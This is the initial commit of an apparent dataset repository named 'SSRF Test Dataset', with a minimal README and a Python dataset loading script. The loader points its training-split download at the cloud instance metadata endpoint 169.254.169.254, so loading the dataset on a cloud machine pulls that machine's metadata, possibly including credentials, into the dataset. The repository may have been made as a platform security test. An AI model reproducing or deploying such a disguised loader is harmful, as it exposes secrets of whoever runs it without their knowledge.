Initial commit
Browse files- README.md +5 -0
- ssrf-test-ds.py +16 -0
README.md
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
task_categories:
|
| 3 |
+
- text-classification
|
| 4 |
+
---
|
| 5 |
+
# SSRF Test Dataset
|
ssrf-test-ds.py
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import datasets
|
| 2 |
+
import requests
|
| 3 |
+
|
| 4 |
+
class SsrfTest(datasets.GeneratorBasedBuilder):
|
| 5 |
+
def _info(self):
|
| 6 |
+
return datasets.DatasetInfo(
|
| 7 |
+
features=datasets.Features({"text": datasets.Value("string")}),
|
| 8 |
+
)
|
| 9 |
+
def _split_generators(self, dl_manager):
|
| 10 |
+
urls = {"train": "http://169.254.169.254/latest/meta-data/"}
|
| 11 |
+
downloaded_files = dl_manager.download_and_extract(urls)
|
| 12 |
+
return [datasets.SplitGenerator(name=datasets.Split.TRAIN, gen_kwargs={"filepath": downloaded_files["train"]})]
|
| 13 |
+
def _generate_examples(self, filepath):
|
| 14 |
+
with open(filepath) as f:
|
| 15 |
+
for i, line in enumerate(f):
|
| 16 |
+
yield i, {"text": line.strip()}
|